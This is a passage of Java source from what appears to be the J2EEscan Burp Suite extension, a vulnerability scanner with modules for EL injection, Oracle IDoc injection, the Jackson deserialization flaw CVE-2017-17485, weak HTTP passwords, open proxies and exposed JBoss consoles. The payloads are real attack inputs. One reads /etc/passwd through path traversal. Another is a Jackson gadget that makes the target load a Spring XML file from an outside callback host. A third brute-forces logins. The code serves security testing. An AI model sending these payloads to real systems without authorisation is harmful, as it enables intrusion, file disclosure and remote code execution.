49 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
50 | URL curURL = reqInfo.getUrl();
51 |
52 |
53 | if (curURL.getPath().contains("wicket/resource")) {
54 | byte[] rawrequest = baseRequestResponse.getRequest();
55 | String plainRequest = helpers.bytesToString(rawrequest);
56 |
57 | for (String payload : PAYLOADS) {
58 |
59 | byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
60 |
61 | IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest);
62 |
63 | List headers = rawWicketRequestInfo.getHeaders();
64 | byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length));
65 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
66 |
67 | // look for matches of our active check grep string in the response body
68 | byte[] httpResponse = resp.getResponse();
69 | List matches = getMatches(httpResponse, GREP_STRING, helpers);
70 | if (matches.size() > 0) {
71 |
72 | issues.add(new CustomScanIssue(
73 | baseRequestResponse.getHttpService(),
74 | reqInfo.getUrl(),
75 | resp,
76 | TITLE,
77 | DESCRIPTION,
78 | REMEDY,
79 | Risk.High,
80 | Confidence.Certain
81 | ));
82 |
83 | return issues;
84 | }
85 | }
86 | }
87 |
88 | return issues;
89 |
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/EL3Injection.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.getMatches;
4 | import static burp.HTTPMatcher.isJavaApplicationByURL;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 | import java.net.URL;
16 | import java.util.ArrayList;
17 | import java.util.Arrays;
18 | import java.util.List;
19 |
20 |
21 | /**
22 | *
23 | * This module tries to detect common EL3 Injection
24 | *
25 | * Snippet of vulnerable code:
26 | *
27 | * input1 = "System.getProperties()"
28 | *
29 | * <%@page import="javax.el.ELProcessor"%>
30 | * <%@page import="javax.el.ELManager"%>
31 | * …
32 | * <%
33 | * String input1 = request.getParameter("input1");
34 | * ELProcessor elp = new ELProcessor();
35 | * Object sys = elp.eval(input1);
36 | * out.println(sys);
37 | * %>
38 | *
39 | * Reference:
40 | * @sectooladdict
41 | * http://sectooladdict.blogspot.co.il/2014/12/el-30-injection-java-is-getting-hacker.html
42 | *
43 | */
44 |
45 | public class EL3Injection implements IModule {
46 |
47 | private static final String TITLE = "EL 3.0/Lambda Injection";
48 | private static final String DESCRIPTION = "J2EEscan identified an EL 3.0 (Expression Language) "
49 | + "Injection vulnerability; an expression language makes it possible to easily "
50 | + "access application data stored in JavaBeans components and execute code on the server."
51 | + " "
52 | + "References : "
53 | + "http://sectooladdict.blogspot.co.il/2014/12/el-30-injection-java-is-getting-hacker.html "
54 | + "http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf "
55 | + "https://jcp.org/en/jsr/detail?id=341 ";
56 |
57 | private static final String REMEDY = "Do not use untrusted user input directly in lambda EL3 statements";
58 |
59 | private static final byte[] GREP_STRING = "java.vendor".getBytes();
60 | private static final List EL_INJECTION_TESTS = Arrays.asList(
61 | "System.getProperties()".getBytes()
62 | );
63 |
64 | @Override
65 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
66 |
67 | IExtensionHelpers helpers = callbacks.getHelpers();
68 | List issues = new ArrayList<>();
69 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
70 | URL curURL = reqInfo.getUrl();
71 |
72 |
73 | // Skip test for not j2ee applications
74 | if (!isJavaApplicationByURL(curURL)){
75 | return issues;
76 | }
77 |
78 |
79 | for (byte[] INJ_TEST : EL_INJECTION_TESTS) {
80 | // make a request containing our injection test in the insertion point
81 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
82 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
83 | baseRequestResponse.getHttpService(), checkRequest);
84 |
85 |
86 | // look for matches of our active check grep string
87 | List matches = getMatches(checkRequestResponse.getResponse(), GREP_STRING, helpers);
88 | if (matches.size() > 0) {
89 |
90 | issues.add(new CustomScanIssue(
91 | baseRequestResponse.getHttpService(),
92 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
93 | checkRequestResponse,
94 | TITLE,
95 | DESCRIPTION,
96 | REMEDY,
97 | Risk.High,
98 | Confidence.Tentative
99 | ));
100 | }
101 |
102 | }
103 |
104 | return issues;
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/HTTPProxy.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.getMatches;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IScanIssue;
9 | import burp.IScannerInsertionPoint;
10 | import burp.j2ee.Confidence;
11 | import burp.j2ee.CustomScanIssue;
12 | import burp.j2ee.Risk;
13 | import burp.j2ee.annotation.RunOnlyOnce;
14 | import burp.j2ee.issues.IModule;
15 | import java.io.PrintWriter;
16 | import java.net.URL;
17 | import java.util.ArrayList;
18 | import java.util.LinkedHashSet;
19 | import java.util.List;
20 |
21 | /**
22 | * HTTP Open Proxy detection
23 | *
24 | */
25 | public class HTTPProxy implements IModule {
26 |
27 | private static final String TITLE = "HTTP Open Proxy";
28 | private static final String DESCRIPTION = "J2EEscan identified a remote HTTP open proxy service. "
29 | + "It was possible to request via the remote HTTP service the resource http://www.google.com/humans.txt. "
30 | + "This configuration may allow an attacker to interact potentially with the internal network."
31 | + " "
32 | + "References : "
33 | + "http://www.suretecsystems.com/our_docs/proxy-guide-en/index.html "
34 | + "http://www.web-cache.com/Writings/Internet-Drafts/draft-luotonen-web-proxy-tunneling-01.txt "
35 | + "https://www.kb.cert.org/vuls/id/150227 ";
36 |
37 | private static final String REMEDY = "Change the current configuration in order to preventi the current behaviour. ";
38 | private static final byte[] GREP_STRING = "Google is built by a large".getBytes();
39 |
40 | // List of host and port system already tested
41 | private static LinkedHashSet hs = new LinkedHashSet();
42 |
43 | private PrintWriter stderr;
44 |
45 | @RunOnlyOnce
46 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
47 |
48 | stderr = new PrintWriter(callbacks.getStderr(), true);
49 |
50 | List issues = new ArrayList<>();
51 | IExtensionHelpers helpers = callbacks.getHelpers();
52 |
53 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
54 |
55 | URL url = reqInfo.getUrl();
56 | String host = url.getHost();
57 | int port = url.getPort();
58 |
59 | String system = host.concat(Integer.toString(port));
60 |
61 | // System not yet tested for this vulnerability
62 | if (!hs.contains(system)) {
63 | hs.add(system);
64 |
65 | // TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n
66 | byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
67 |
68 | // Execute a CONNECT method
69 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
70 | baseRequestResponse.getHttpService(), rawrequestHTTPConnect);
71 |
72 |
73 | // Get the response body
74 | byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse();
75 |
76 | if (responseBytesHTTPConnect != null) {
77 | List matchesHTTPConnect = getMatches(responseBytesHTTPConnect, GREP_STRING, helpers);
78 | if (matchesHTTPConnect.size() > 0) {
79 |
80 | issues.add(new CustomScanIssue(
81 | baseRequestResponse.getHttpService(),
82 | reqInfo.getUrl(),
83 | checkRequestResponse,
84 | TITLE,
85 | DESCRIPTION,
86 | REMEDY,
87 | Risk.High,
88 | Confidence.Certain
89 | ));
90 | }
91 | }
92 |
93 | // Execute a GET method
94 | byte[] rawrequestGETHTTPConnect = "GET http://www.google.com/humans.txt HTTP/1.0\r\n".getBytes();
95 | IHttpRequestResponse checkRequestResponseGETHTTPConnect = callbacks.makeHttpRequest(
96 | baseRequestResponse.getHttpService(), rawrequestGETHTTPConnect);
97 |
98 | // Get the response body
99 | byte[] responseBytesGETHTTPConnect = checkRequestResponseGETHTTPConnect.getResponse();
100 |
101 | if (responseBytesGETHTTPConnect != null) {
102 | List matchesGETHTTPConnect = getMatches(responseBytesGETHTTPConnect, GREP_STRING, helpers);
103 | if (matchesGETHTTPConnect.size() > 0) {
104 |
105 | issues.add(new CustomScanIssue(
106 | baseRequestResponse.getHttpService(),
107 | reqInfo.getUrl(),
108 | checkRequestResponse,
109 | TITLE,
110 | DESCRIPTION,
111 | REMEDY,
112 | Risk.High,
113 | Confidence.Certain
114 | ));
115 | }
116 | }
117 |
118 | }
119 |
120 | return issues;
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/HTTPWeakPassword.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import burp.HTTPParser;
5 | import static burp.HTTPParser.getResponseHeaderValue;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IRequestInfo;
10 | import burp.IResponseInfo;
11 | import burp.IScanIssue;
12 | import burp.IScannerInsertionPoint;
13 | import burp.WeakPasswordBruteforcer;
14 | import burp.j2ee.Confidence;
15 | import burp.j2ee.CustomScanIssue;
16 | import burp.j2ee.Risk;
17 | import burp.j2ee.issues.IModule;
18 | import java.io.PrintWriter;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.LinkedHashSet;
22 | import java.util.List;
23 |
24 | public class HTTPWeakPassword implements IModule{
25 |
26 | private static final String TITLE = "HTTP Weak Password";
27 | private static final String DESCRIPTION = "J2EEscan identified a remote resource protected"
28 | + "using HTTP Authentication with a weak password. ";
29 |
30 | private static final String REMEDY = "Change the weak/default password";
31 |
32 | // List of host and port system already tested
33 | private LinkedHashSet hs = new LinkedHashSet();
34 | private PrintWriter stderr;
35 |
36 |
37 | @Override
38 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
39 |
40 | List issues = new ArrayList<>();
41 |
42 | IExtensionHelpers helpers = callbacks.getHelpers();
43 | stderr = new PrintWriter(callbacks.getStderr(), true);
44 |
45 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
46 |
47 | byte[] response = baseRequestResponse.getResponse();
48 | if (response == null) {
49 | return issues;
50 | }
51 |
52 | IResponseInfo respInfo = helpers.analyzeResponse(response);
53 |
54 | URL url = reqInfo.getUrl();
55 | short responseCode = respInfo.getStatusCode();
56 | String wwwAuthHeader = getResponseHeaderValue(respInfo, "WWW-Authenticate");
57 |
58 | if (responseCode == 401 && wwwAuthHeader != null) {
59 |
60 | // Application path not yet tested for this vulnerability
61 | if (!hs.contains(url)) {
62 |
63 | hs.add(url);
64 |
65 | // Test Weak Passwords
66 | CustomHttpRequestResponse httpWeakPasswordResult;
67 | WeakPasswordBruteforcer br = new WeakPasswordBruteforcer();
68 | httpWeakPasswordResult = br.HTTPBasicBruteforce(callbacks, url);
69 |
70 | // Retrieve the weak credentials
71 | String weakCredential = null;
72 | String weakCredentialDescription = "";
73 | String bc = null;
74 | try {
75 |
76 | IRequestInfo reqInfoPwd = callbacks.getHelpers().analyzeRequest(baseRequestResponse.getHttpService(), httpWeakPasswordResult.getRequest());
77 | bc = HTTPParser.getHTTPBasicCredentials(reqInfoPwd);
78 | weakCredential = new String(helpers.base64Decode(bc));
79 | } catch (Exception ex) {
80 | stderr.println("HTTP Weak Password - Error during Authorization Header parsing " + ex + bc);
81 | }
82 |
83 | if (weakCredential != null) {
84 | weakCredentialDescription += String.format(" The weak credentials are "
85 | + "%s ", weakCredential);
86 | }
87 |
88 | if (httpWeakPasswordResult != null) {
89 | issues.add(new CustomScanIssue(
90 | baseRequestResponse.getHttpService(),
91 | url,
92 | httpWeakPasswordResult,
93 | TITLE,
94 | DESCRIPTION + weakCredentialDescription,
95 | REMEDY,
96 | Risk.High,
97 | Confidence.Certain
98 | ));
99 |
100 | }
101 |
102 | }
103 |
104 | }
105 |
106 | return issues;
107 | }
108 | }
109 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/IDocInjection.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 |
4 | import static burp.HTTPMatcher.isJavaApplicationByURL;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.issues.IModule;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.Risk;
15 |
16 | import java.net.URL;
17 | import java.util.ArrayList;
18 | import java.util.Arrays;
19 | import java.util.List;
20 | import java.util.regex.Matcher;
21 | import java.util.regex.Pattern;
22 |
23 | /**
24 | *
25 | * This module tries to inject custom idoc scripts.
26 | *
27 | *
28 | *
29 | * References:
30 | * http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm
31 | * http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53
32 | * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770
33 | *
34 | *
35 | */
36 | public class IDocInjection implements IModule {
37 |
38 | private static final String TITLE = "IDoc Injection";
39 | private static final String DESCRIPTION = "The remote application is vulnerable to Oracle IDoc Injection"
40 | + " "
41 | + "References : "
42 | + "http://docs.oracle.com/cd/E14571_01/doc.1111/e10726/toc.htm "
43 | + "http://unsecurityresearch.com/index.php?option=com_content&view=article&id=46:published-advisories&catid=34:published-advisories&Itemid=53 "
44 | + "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3770 ";
45 |
46 | private static final List XINCLUDE_REGEX = Arrays.asList(
47 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
48 |
49 | private static final List EL_INJECTION_TESTS = Arrays.asList(
50 | "<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes());
51 |
52 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
53 |
54 | IExtensionHelpers helpers = callbacks.getHelpers();
55 | List issues = new ArrayList<>();
56 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
57 | URL curURL = reqInfo.getUrl();
58 |
59 | // Skip test for not j2ee applications
60 | if (!isJavaApplicationByURL(curURL)){
61 | return issues;
62 | }
63 |
64 | for (byte[] INJ_TEST : EL_INJECTION_TESTS) {
65 | // make a request containing our injection test in the insertion point
66 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
67 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
68 | baseRequestResponse.getHttpService(), checkRequest);
69 |
70 | // look for matches of our active check grep string
71 | String response = helpers.bytesToString(checkRequestResponse.getResponse());
72 |
73 | for (Pattern xincludeMatcher : XINCLUDE_REGEX) {
74 |
75 | Matcher matcher = xincludeMatcher.matcher(response);
76 |
77 | if (matcher.find()) {
78 |
79 | // get the offsets of the payload within the request, for in-UI highlighting
80 | issues.add(new CustomScanIssue(
81 | baseRequestResponse.getHttpService(),
82 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
83 | checkRequestResponse,
84 | TITLE,
85 | DESCRIPTION,
86 | "Install the patch provided by Oracle",
87 | Risk.High,
88 | Confidence.Certain
89 | ));
90 |
91 | return issues;
92 | }
93 |
94 | }
95 |
96 | }
97 |
98 | return issues;
99 | }
100 | }
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/JBossJuddi.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.getMatches;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IResponseInfo;
10 | import burp.IScanIssue;
11 | import burp.IScannerInsertionPoint;
12 | import burp.j2ee.Confidence;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.annotation.RunOnlyOnce;
16 | import burp.j2ee.issues.IModule;
17 | import java.io.PrintWriter;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.Arrays;
22 | import java.util.LinkedHashSet;
23 | import java.util.List;
24 |
25 |
26 | /**
27 | *
28 | * JBoss WS JUDDI console detection
29 | *
30 | *
31 | *
32 | *
33 | *
34 | */
35 | public class JBossJuddi implements IModule {
36 |
37 | // List of host and port system already tested
38 | private static LinkedHashSet hs = new LinkedHashSet();
39 | private static final List JBOSS_WS = Arrays.asList(
40 | "/juddi/"
41 | );
42 |
43 | private static final String TITLE = "JBoss WS JUDDI";
44 | private static final String DESCRIPTION = "J2EEscan identified the JBoss Juddi console. "
45 | + "The jUDDI (Java Universal Description, Discovery and Integration) Registry "
46 | + "is a core component of the JBoss Enterprise SOA Platform. "
47 | + "It is the product's default service registry and comes included as "
48 | + "part of the product. In it are stored the addresses (end-point references) "
49 | + "of all the services connected to the Enterprise Service Bus. "
50 | + "It was implemented in JAXR and conforms to the UDDI specifications. ";
51 |
52 | private static final String REMEDY = "Restrict access to the service if not needed";
53 |
54 | private static final byte[] GREP_STRING = ">JBoss JUDDI".getBytes();
55 |
56 | private PrintWriter stderr;
57 |
58 | @RunOnlyOnce
59 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
60 |
61 | List issues = new ArrayList<>();
62 |
63 | IExtensionHelpers helpers = callbacks.getHelpers();
64 | stderr = new PrintWriter(callbacks.getStderr(), true);
65 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
66 |
67 | URL url = reqInfo.getUrl();
68 | String host = url.getHost();
69 | int port = url.getPort();
70 |
71 | String system = host.concat(Integer.toString(port));
72 |
73 | // System not yet tested for this vulnerability
74 | if (!hs.contains(system)) {
75 |
76 | hs.add(system);
77 |
78 | String protocol = url.getProtocol();
79 | Boolean isSSL = (protocol.equals("https"));
80 |
81 | for (String JBOSS_WS_PATH : JBOSS_WS) {
82 |
83 | try {
84 | // Test the presence of JBossWS console
85 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH);
86 | byte[] jbosswstest = helpers.buildHttpRequest(urlToTest);
87 |
88 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
89 | url.getPort(), isSSL, jbosswstest);
90 |
91 | IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes);
92 |
93 | if (jbosswsInfo.getStatusCode() == 200) {
94 |
95 | // look for matches of our active check grep string
96 | List matches = getMatches(responseBytes, GREP_STRING, helpers);
97 | if (matches.size() > 0) {
98 |
99 | issues.add(new CustomScanIssue(
100 | baseRequestResponse.getHttpService(),
101 | urlToTest,
102 | new CustomHttpRequestResponse(jbosswstest, responseBytes, baseRequestResponse.getHttpService()),
103 | TITLE,
104 | DESCRIPTION,
105 | REMEDY,
106 | Risk.Low,
107 | Confidence.Certain
108 | ));
109 | return issues;
110 | }
111 | }
112 | } catch (MalformedURLException ex) {
113 | stderr.println("Error creating URL " + ex.getMessage());
114 | }
115 |
116 | }
117 |
118 | }
119 |
120 | return issues;
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/JBossjBPMAdminConsole.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.URIMutator;
5 | import static burp.HTTPMatcher.getMatches;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IRequestInfo;
10 | import burp.IResponseInfo;
11 | import burp.IScanIssue;
12 | import burp.IScannerInsertionPoint;
13 | import burp.j2ee.Confidence;
14 | import burp.j2ee.CustomScanIssue;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.issues.IModule;
17 | import java.io.PrintWriter;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.Arrays;
22 | import java.util.LinkedHashSet;
23 | import java.util.List;
24 |
25 |
26 | /**
27 | *
28 | * Test for JBoss jBPM Admin Console
29 | *
30 | * https://docs.jboss.org/jbpm/v5.1/userguide/ch11.html
31 | *
32 | */
33 | public class JBossjBPMAdminConsole implements IModule {
34 |
35 | // List of host and port system already tested
36 | private static LinkedHashSet hs = new LinkedHashSet();
37 | private PrintWriter stderr;
38 |
39 | private static final String TITLE = "JBoss jBPM Admin Console";
40 | private static final String DESCRIPTION = "J2EEscan identified the jBPM Admin Console "
41 | + "installed on the remote system. The JBoss Business Process Manager (jBPM) "
42 | + "is a workflow management tool that provides the user with control "
43 | + "over business processes and languages. ";
44 |
45 | private static final String REMEDY = "Change default/weak password and/or restrict access to the management console only from trusted hosts/networks";
46 |
47 | private static final List JBOSS_jBPM_PATHS = Arrays.asList(
48 | "/jbpm-console/app/tasks.jsf"
49 | );
50 |
51 | private static final List GREP_STRINGS = Arrays.asList(
52 | "JBoss jBPM Administration Console ".getBytes()
53 | );
54 |
55 | @Override
56 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
57 |
58 | List issues = new ArrayList<>();
59 |
60 | IExtensionHelpers helpers = callbacks.getHelpers();
61 | stderr = new PrintWriter(callbacks.getStderr(), true);
62 |
63 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
64 |
65 | URL url = reqInfo.getUrl();
66 | String host = url.getHost();
67 | int port = url.getPort();
68 |
69 | String system = host.concat(Integer.toString(port));
70 |
71 | // System not yet tested for this vulnerability
72 | if (!hs.contains(system)) {
73 |
74 | hs.add(system);
75 |
76 | String protocol = url.getProtocol();
77 | Boolean isSSL = (protocol.equals("https"));
78 |
79 | List JBOSS_jBPM_PATHS_MUTATED = URIMutator(JBOSS_jBPM_PATHS);
80 | for (String JBOSS_jBPM_PATH : JBOSS_jBPM_PATHS) {
81 |
82 | try {
83 |
84 | URL urlToTest;
85 | urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_jBPM_PATH);
86 |
87 | byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
88 |
89 | byte[] response = callbacks.makeHttpRequest(url.getHost(),
90 | url.getPort(), isSSL, jbosstest);
91 |
92 | IResponseInfo jbossAdminInfo = helpers.analyzeResponse(response);
93 |
94 | if (jbossAdminInfo.getStatusCode() == 200) {
95 |
96 | // look for matches of our active check grep string
97 | for (byte[] GREP_STRING : GREP_STRINGS) {
98 |
99 | List matches = getMatches(response, GREP_STRING, helpers);
100 | if (matches.size() > 0) {
101 | callbacks.addScanIssue(new CustomScanIssue(
102 | baseRequestResponse.getHttpService(),
103 | new URL(protocol, url.getHost(), url.getPort(), JBOSS_jBPM_PATH),
104 | new CustomHttpRequestResponse(jbosstest, response, baseRequestResponse.getHttpService()),
105 | TITLE,
106 | DESCRIPTION,
107 | REMEDY,
108 | Risk.Medium,
109 | Confidence.Certain
110 | ));
111 | }
112 | }
113 | }
114 | } catch (MalformedURLException ex) {
115 | stderr.println("MalformedURLException " + ex.toString());
116 | }
117 |
118 | }
119 | }
120 |
121 | return issues;
122 |
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/JacksonDataBindCVE20177525.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.HTTPParser;
5 | import burp.IBurpCollaboratorClientContext;
6 | import burp.IBurpCollaboratorInteraction;
7 | import burp.IBurpExtenderCallbacks;
8 | import burp.IExtensionHelpers;
9 | import burp.IHttpRequestResponse;
10 | import burp.IRequestInfo;
11 | import burp.IScanIssue;
12 | import burp.IScannerInsertionPoint;
13 | import burp.j2ee.Confidence;
14 | import burp.j2ee.CustomScanIssue;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.issues.IModule;
17 | import java.io.PrintWriter;
18 |
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.LinkedHashSet;
22 | import java.util.List;
23 |
24 | /**
25 | *
26 | * Jackson-databind Polymorphic Deserialization
27 | *
28 | * References:
29 | * - https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-17485
30 | *
31 | */
32 | public class JacksonDataBindCVE20177525 implements IModule {
33 |
34 | private static final String TITLE = "Jackson-databind Polymorphic Deserialization - CVE-2017-17485";
35 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution vulnerability in the remote Jackson-databind component. "
36 | + "FasterXML jackson-databind through 2.8.10 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because "
37 | + "of an incomplete fix for the CVE-2017-7525 deserialization flaw. "
38 | + "This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, "
39 | + "bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath. "
40 | + " "
41 | + "References : "
42 | + "https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-17485 "
43 | + "https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1 "
44 | + "https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true";
45 |
46 | private static final String REMEDY = "Update the Jackson-databind component with the last security patches";
47 |
48 | // List of host and port system already tested
49 | private static LinkedHashSet hs = new LinkedHashSet();
50 |
51 | private PrintWriter stderr;
52 |
53 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
54 |
55 |
56 | List PAYLOADS = new ArrayList<>();
57 | PAYLOADS.add("{\"param\":[\"org.springframework.context.support.FileSystemXmlApplicationContext\",\"http://%s/spel.xml\"]}");
58 |
59 | stderr = new PrintWriter(callbacks.getStderr(), true);
60 |
61 | List issues = new ArrayList<>();
62 | IExtensionHelpers helpers = callbacks.getHelpers();
63 |
64 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
65 | List requestHeaders = reqInfo.getHeaders();
66 |
67 | URL url = reqInfo.getUrl();
68 |
69 | // Precondition checks
70 | if (!isJavaApplicationByURL(url)) {
71 | return issues;
72 | }
73 |
74 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
75 | if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {
76 | return issues;
77 | }
78 |
79 | for (String PAYLOAD : PAYLOADS) {
80 | try {
81 | // Collaborator context
82 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
83 |
84 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net )
85 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
86 | String payloadJson = String.format(PAYLOAD, currentCollaboratorPayload);
87 |
88 | byte[] jsonFastRcePayload = helpers.buildHttpMessage(requestHeaders, payloadJson.getBytes());
89 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), jsonFastRcePayload);
90 |
91 | // Poll Burp Collaborator for remote interaction
92 | List collaboratorInteractions
93 | = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
94 |
95 | if (!collaboratorInteractions.isEmpty()) {
96 |
97 | issues.add(new CustomScanIssue(
98 | baseRequestResponse.getHttpService(),
99 | reqInfo.getUrl(),
100 | resp,
101 | TITLE,
102 | DESCRIPTION,
103 | REMEDY,
104 | Risk.High,
105 | Confidence.Certain
106 | ));
107 | }
108 | } catch (Exception ex) {
109 | stderr.println(ex);
110 | }
111 |
112 | }
113 |
114 | return issues;
115 |
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/JavascriptSSRF.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.IBurpCollaboratorClientContext;
4 | import burp.IBurpCollaboratorInteraction;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.IExtensionHelpers;
7 | import burp.IHttpRequestResponse;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.io.PrintWriter;
17 | import java.util.ArrayList;
18 | import java.util.List;
19 |
20 | /**
21 | *
22 | * ReactJS SSRF Scanner
23 | *
24 | * References:
25 | * - http://10degres.net/aws-takeover-ssrf-javascript/
26 | *
27 | *
28 | */
